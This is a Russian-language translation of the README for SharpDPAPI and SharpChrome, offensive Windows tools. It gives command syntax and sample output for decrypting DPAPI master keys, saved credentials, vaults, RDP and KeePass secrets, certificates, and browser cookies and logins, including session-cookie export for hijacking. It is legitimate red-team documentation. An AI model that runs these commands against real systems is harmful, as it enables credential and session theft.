
SharpDPAPI — это порт на C# некоторых функций DPAPI из Mimikatz.
SharpDPAPI — это порт на C# некоторой функциональности DPAPI из проекта Mimikatz от @gentilkiwi.
Я не придумал эту логику, это просто порт из Mimikatz, сделанный для лучшего понимания процесса и его адаптации под наш рабочий процесс.
Подпроект SharpChrome является адаптацией работы @gentilkiwi и @djhohnstein, в частности его проекта SharpChrome. Однако эта версия SharpChrome использует другую версию C# SQL библиотеки, которая поддерживает открытие без блокировки. SharpChrome собран как отдельный проект в SharpDPAPI из-за размера используемой SQLite-библиотеки.
Как Chrome, так и новые браузеры Edge на основе Chromium могут быть проанализированы с помощью SharpChrome.
SharpChrome также использует минимизированную версию BCrypt P/Invoke кода от @AArnott, выпущенную под лицензией MIT.
Если вы не знакомы с DPAPI, посмотрите эту статью для получения дополнительной информации. Для получения дополнительной информации о Credentials и Vaults в контексте DPAPI ознакомьтесь с записью в вики от Benjamin.
@harmj0y является основным автором этого порта.
SharpDPAPI распространяется под лицензией BSD 3-Clause.
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
Получить резервный ключ DPAPI контроллера домена, опционально указав DC и выходной файл:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
Команда *search* выполняет поиск потенциальных DPAPI-блобов в реестре, файлах, папках и base64-блобов:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
Машинная/SYSTEM разведка:
machinemasterkeys - разведать все доступные файлы машинных главных ключей (повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM)
machinecredentials - использовать 'machinemasterkeys', затем разведать файлы машинных учетных данных
machinevaults - использовать 'machinemasterkeys', затем разведать машинные Vaults
machinetriage - выполнить команды 'machinecredentials' и 'machinevaults'
Пользовательская разведка:
Аргументы для команды 'masterkeys':
/target:FILE/folder - разведать конкретный главный ключ или папку с главными ключами (иначе разведать локальные главные ключи)
/pvk:BASE64... - использовать закрытый ключ DPAPI домена в base64 для предварительной расшифровки доступных пользовательских главных ключей
/pvk:key.pvk - использовать файл закрытого ключа DPAPI домена для предварительной расшифровки доступных пользовательских главных ключей
/password:X - расшифровать главные ключи целевого пользователя с помощью пароля в открытом виде (работает удаленно)
/ntlm:X - расшифровать главные ключи целевого пользователя с помощью NTLM-хэша (работает удаленно)
/credkey:X - расшифровать главные ключи целевого пользователя с помощью DPAPI credkey (доменного или локального SHA1, работает удаленно)
/rpc - расшифровать главные ключи целевого пользователя, запросив у контроллера домена
/server:SERVER - разведать удаленный сервер, предполагая права администратора
/hashes - вывести 'хэши' пользовательских файлов главных ключей в формате JTR/Hashcat (без расшифровки)
Аргументы для команд credentials|vaults|rdg|keepass|triage|blob|ps:
Расшифровка:
/unprotect - принудительно использовать CryptUnprotectData() для команд 'ps', 'rdg' или 'blob'
/pvk:BASE64... - использовать закрытый ключ DPAPI домена в base64 для предварительной расшифровки доступных пользовательских главных ключей
/pvk:key.pvk - использовать файл закрытого ключа DPAPI домена для предварительной расшифровки доступных пользовательских главных ключей
/password:X - расшифровать главные ключи целевого пользователя с помощью пароля в открытом виде (работает удаленно)
/ntlm:X - расшифровать главные ключи целевого пользователя с помощью NTLM-хэша (работает удаленно)
/credkey:X - расшифровать главные ключи целевого пользователя с помощью DPAPI credkey (доменного или локального SHA1, работает удаленно)
/rpc - расшифровать главные ключи целевого пользователя, запросив у контроллера домена
GUID1:SHA1 ... - использовать один или несколько GUID:SHA1 главных ключей для расшифровки
/mkfile:FILE - использовать файл с одним или несколькими GUID:SHA1 главными ключами для расшифровки
Целевой объект:
/target:FILE/folder - разведать конкретное расположение 'Credentials', '.rdg|RDCMan.settings', 'blob' или 'ps' файла, или папку 'Vault'
/server:SERVER - разведать удаленный сервер, предполагая права администратора
Примечание: необходимо использовать с /pvk:KEY или /password:X
Примечание: не применимо к командам 'blob' или 'ps'
Разведка сертификатов:
Аргументы для команды 'certificates':
/showall - показывать все расшифрованные файлы закрытых ключей, а не только те, что связаны с установленными сертификатами (по умолчанию)
/machine - использовать локальное машинное хранилище для разведки сертификатов
/mkfile | /target - для машинной разведки
[все аргументы расшифровки из пользовательской разведки выше]
Примечание: в большинстве случаев используйте *triage*, если вы нацелены на пользовательские секреты DPAPI, и *machinetriage*, если вы работаете с секретами SYSTEM DPAPI.
Эти функции объединяют все остальные применимые функции, которые могут быть запущены автоматически.
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.9.0
Получить резервный ключ DPAPI контроллера домена, опционально указав DC и выходной файл:
SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
Глобальные аргументы для команд 'cookies', 'logins' и 'statekeys':
Расшифровка:
/unprotect - принудительно использовать CryptUnprotectData() (по умолчанию для непривилегированного выполнения)
/pvk:BASE64... - использовать закрытый ключ DPAPI домена в base64 для предварительной расшифровки доступных пользовательских главных ключей
/pvk:key.pvk - использовать файл закрытого ключа DPAPI домена для предварительной расшифровки доступных пользовательских главных ключей
/password:X - расшифровать главные ключи целевого пользователя с помощью пароля в открытом виде (работает удаленно)
/ntlm:X - расшифровать главные ключи целевого пользователя с помощью NTLM-хэша (работает удаленно)
/prekey:X - расшифровать главные ключи целевого пользователя с помощью DPAPI prekey (доменного или локального SHA1, работает удаленно)
/rpc - расшифровать главные ключи целевого пользователя, запросив у контроллера домена
GUID1:SHA1 ... - использовать один или несколько GUID:SHA1 главных ключей для расшифровки
/statekey:X - расшифрованный AES-ключ состояния (из команды 'statekey')
Целевой объект:
/target:FILE - разведать конкретное расположение файла 'Cookies', 'Login Data' или 'Local State'
/target:C:\Users\X\ - разведать конкретную пользовательскую папку для любой указанной команды
/server:SERVER - разведать удаленный сервер, предполагая права администратора (примечание: необходимо использовать с /pvk:KEY)
/browser:X - разведать 'chrome' (по умолчанию), (на основе Chromium) 'edge' или 'slack'
Вывод:
/format:X - либо 'csv' (по умолчанию), либо отображение 'table'
/showall - показывать записи Login Data с пустыми паролями и истекшие Cookies вместо фильтрации (по умолчанию)
/consoleoutfile:X - выводить весь вывод консоли в файл на диске
Специфические аргументы команды 'cookies':
/cookie:"REGEX" - возвращать только куки, имя которых соответствует указанному регулярному выражению
/url:"REGEX" - возвращать только куки, URL которых соответствует указанному регулярному выражению
/format:json - выводить значения куки в формате JSON для импорта в EditThisCookie. Лучше всего использовать с regex!
/setneverexpire - устанавливать срок действия для выводимых куки на сейчас + 100 лет (для вывода в json)
Одной из целей SharpDPAPI является адаптация работы Benjamin по DPAPI таким образом, чтобы она соответствовала нашему рабочему процессу.
То, как именно вы будете использовать набор инструментов, зависит от того, на каком этапе задания вы находитесь. В общем, это делится на "скомпрометирован ли домен или нет".
Если были получены привилегии администратора домена (или эквивалентные), резервный ключ DPAPI домена может быть получен с помощью команды backupkey (или с помощью Mimikatz). Этот закрытый ключ домена никогда не меняется и может расшифровать любые главные ключи DPAPI для пользователей домена. Это означает, что имея резервный ключ DPAPI домена, атакующий может расшифровать главные ключи для любого пользователя домена, которые затем можно использовать для расшифровки любых Vault/Credentials/Chrome Logins/других DPAPI-блобов и т.д. Ключ, полученный с помощью команды backupkey, может использоваться с командами masterkeys, credentials, vaults, rdg или triage.
Если привилегии DA не были достигнуты, использование команды Mimikatz sekurlsa::dpapi позволит получить отображения главных ключей DPAPI {GUID}:SHA1 для любых загруженных главных ключей (пользовательских и SYSTEM) в данной системе (совет: выполнение dpapi::cache после извлечения ключей даст хорошую таблицу). Если изменить эти ключи в формат {GUID1}:SHA1 {GUID2}:SHA1..., их можно передать командам credentials, vaults, rdg или triage. Это позволяет разведать все файлы учетных данных/Vaults в системе для любого пользователя, который в данный момент вошел в систему, без необходимости расшифровывать каждый файл по отдельности.
В качестве альтернативы, если вы можете указать пароль целевого пользователя, NTLM-хэш или DPAPI prekey для пользовательской команды с помощью /password:X, /ntlm:X или /prekey:X соответственно. Поле dpapi из вывода sekurlsa::msv Mimikatz для доменных пользователей может использоваться как /prekey, а поле sha1 из вывода sekurlsa::msv может использоваться как /prekey для локальных пользователей.
Для расшифровки файлов RDG/RDCMan.settings с помощью команды rdg флаг /unprotect будет использовать CryptUnprotectData() для расшифровки любых сохраненных паролей RDP, если команда запускается из контекста пользователя, который сохранил пароли. Это можно сделать из непривилегированного контекста, без необходимости обращаться к LSASS. О том, почему этот подход не используется для credentials/vaults, смотрите документацию Benjamin здесь.
Для машинной разведки DPAPI команды machinemasterkeys|machinecredentials|machinevaults|machinetriage выполняют эквивалент пользовательской разведки DPAPI на уровне машины. Если контекст повышен (то есть нужны права локального администратора), SharpDPAPI повысит привилегии до SYSTEM для получения секрета LSA "DPAPI_SYSTEM", который затем используется для расшифровки любых обнаруженных машинных главных ключей DPAPI. Эти ключи затем используются как таблицы поиска для машинных учетных данных/vaults и т.д.
Для получения дополнительной информации об offensive DPAPI смотрите здесь.
SharpChrome — это реализация SharpDPAPI, специфичная для Chrome, способная расшифровывать/проводить разведку cookies и logins. Он собран как отдельный проект в SharpDPAPI из-за размера используемой библиотеки SQLite.
Так как Cookies/Login Data Chrome сохраняются без CRYPTPROTECT_SYSTEM, CryptUnprotectData() снова в игре. Если SharpChrome запускается из непривилегированного контекста, он попытается расшифровать любые логины/куки для текущего пользователя с помощью CryptUnprotectData(). Также можно использовать /pvk:[BASE64|file.pvk], таблицу поиска {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X или /mkfile:FILE с значениями {GUID}:SHA1 для расшифровки значений. Кроме того, используемая C# SQL библиотека (с некоторыми модификациями) поддерживает открытие без блокировки, что означает, что Chrome не нужно закрывать/целевые файлы не нужно копировать в другое место.
В качестве альтернативы, если вы можете указать пароль целевого пользователя, NTLM-хэш или DPAPI prekey для пользовательской команды с помощью /password:X, /ntlm:X или /prekey:X соответственно. Поле dpapi из вывода sekurlsa::msv Mimikatz для доменных пользователей может использоваться как /prekey, а поле sha1 из вывода sekurlsa::msv может использоваться как /prekey для локальных пользователей.
Если используется Chrome версии 80+, AES-ключ состояния хранится в AppData\Local\Google\Chrome\User Data\Local State — этот ключ защищен с помощью DPAPI, поэтому мы можем использовать CryptUnprotectData()/pvk/таблицы поиска главных ключей для его расшифровки. Затем этот AES-ключ используется для защиты новых записей cookie и login data. Этот же процесс используется, когда указано /browser:edge или /browser:brave для разведки более новых браузеров Edge на основе Chromium.
По умолчанию куки и логины отображаются в формате csv — это можно изменить с помощью /format:table для табличного вывода и /format:json для куки отдельно. Опция json выводит куки в формате json, который можно импортировать в расширение Chrome EditThisCookie для удобного повторного использования.
Команда cookies также имеет аргументы /cookie:REGEX и /url:REGEX для возврата только тех имен куки или URL, которые соответствуют указанному регулярному выражению. Это полезно в сочетании с /format:json для легкого клонирования доступа к определенным сайтам.
Конкретные файлы cookies/logins/statekey могут быть указаны с помощью /target:X, а пользовательская папка может быть указана с помощью /target:C:\Users\USER\ для любой команды разведки.
Команда masterkeys выполняет поиск любых читаемых пользовательских файлов главных ключей и расшифровывает их с помощью предоставленного резервного ключа DPAPI домена. Она возвращает набор отображений главных ключей {GUID}:SHA1.
/password:X можно использовать для расшифровки текущих главных ключей пользователя. Обратите внимание, что для машин, присоединенных к домену, пароль может быть указан как в открытом виде, так и в формате NTLM. Если /target также указан вместе с /password, необходимо также указать полный SID домена пользователя /sid:X.
Резервный ключ домена может быть в форме base64 (/pvk:BASE64...) или в виде файла (/pvk:key.pvk).
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Разведка пользовательских файлов главных ключей
[*] Найден MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Найден MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(сокращено)...
[*] Кэш пользовательских главных ключей:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(сокращено)...
...(сокращено)...
Если не указан /password или /pvk, вы можете передать флаг /hashes для дампа хэшей главных ключей в формате John/Hashcat. В этом режиме хэши выводятся в формате {GUID}:DPAPImk.
Ключ Preferred также анализируется, чтобы выделить текущий предпочтительный главный ключ, чтобы не тратить усилия на взлом более старых ключей.
C:\Temp>SharpDPAPI.exe masterkeys /hashes
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Действие: Разведка пользовательских файлов главных ключей DPAPI
[*] Будет произведен дамп хэшей пользовательских главных ключей
[*] Найден MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Найден MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(сокращено)...
[*] Предпочтительные главные ключи:
C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
[*] Хэши пользовательских главных ключей:
{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(сокращено)...
Конкретный файл учетных данных (или папку с учетными данными) можно указать с помощью /target:FILE или /target:C:\Folder\. Если указан файл, необходимы значения {GUID}:SHA1, а если указана папка, то либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.
Если запущено из контекста с повышенными привилегиями, будут обработаны файлы учетных данных для ВСЕХ пользователей, в противном случае будут обработаны только файлы учетных данных для текущего пользователя.
Использование сопоставлений мастер-ключей домена {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруживаемых мастер-ключей:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
Команда vaults выполнит поиск хранилищ и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Папка Policy.vpol в папке хранилища расшифровывается с использованием предоставленных ключей DPAPI для получения соответствующих ключей шифрования AES, которые затем используются для расшифровки любых связанных файлов .vcrd.
Конкретную папку хранилища можно указать с помощью /target:C:\Folder\. В этом случае либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.
Использование сопоставлений мастер-ключей домена {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруживаемых мастер-ключей:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Использование резервного ключа DPAPI домена с указанной папкой (т.е. "автономная" обработка):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
Команда rdg выполнит поиск файлов RDCMan.settings для текущего пользователя (или, если с повышенными привилегиями, для всех пользователей) и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Флаг /unprotect использует CryptUnprotectData() для расшифровки любых сохраненных паролей RDP, если команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из контекста без привилегий, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учетных данных/хранилищ, см. в документации Benjamin.
Конкретный файл RDCMan.settings, файл .RDC (или папку файлов .RDG) можно указать с помощью /target:FILE или /target:C:\Folder\. Если указан файл, необходимы значения {GUID}:SHA1 (или /unprotect), а если указана папка, то либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.
Эта команда расшифрует любую сохраненную информацию о паролях как из файла RDCMan.settings, так и из любых файлов .RDG, на которые ссылается файл RDCMan.settings.
Использование /unprotect для расшифровки всех найденных паролей:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Использование сопоставлений мастер-ключей домена {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруживаемых мастер-ключей:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Команда keepass выполнит поиск файлов KeePass ProtectedUserKey.bin для текущего пользователя (или, если с повышенными привилегиями, для всех пользователей) и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Флаг /unprotect использует CryptUnprotectData() для расшифровки байтов ключа, если команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из контекста без привилегий, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учетных данных/хранилищ, см. в документации Benjamin.
Конкретный файл ProtectedUserKey.bin, файл .RDC (или папку файлов .RDG) можно указать с помощью /target:FILE или /target:C:\Folder\. Если указан файл, необходимы значения {GUID}:SHA1 (или /unprotect), а если указана папка, то либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.
Расшифрованные байты файла ключа можно использовать с модифицированной версией KeePass из KeeThief.
Использование /unprotect для расшифровки всех найденных материалов ключей:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: KeePass Triage
[*] Using CryptUnprotectData() for decryption.
[*] Triaging KeePass ProtectedUserKey.bin files for current user
File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI completed in 00:00:00.0566660
Команда certificates выполнит поиск зашифрованных закрытых ключей сертификатов DPAPI пользователя и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.
Флаг /unprotect использует CryptUnprotectData() для расшифровки закрытых ключей, если команда выполняется в контексте пользователя, чьи сертификаты вы пытаетесь получить. Это можно сделать из контекста без привилегий, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учетных данных/хранилищ, см. в документации Benjamin.
Конкретный сертификат можно указать с помощью /target:FILE или /target:C:\Folder\. В обоих случаях необходимы значения {GUID}:SHA1 (или /unprotect) или b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.
По умолчанию отображаются только закрытые ключи, связанные с установленным сертификатом. Команда /showall покажет ВСЕ расшифрованные закрытые ключи.
Используйте флаг /cng для закрытых ключей CNG (по умолчанию — capi).
Использование сопоставлений мастер-ключей домена {GUID}:SHA1:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
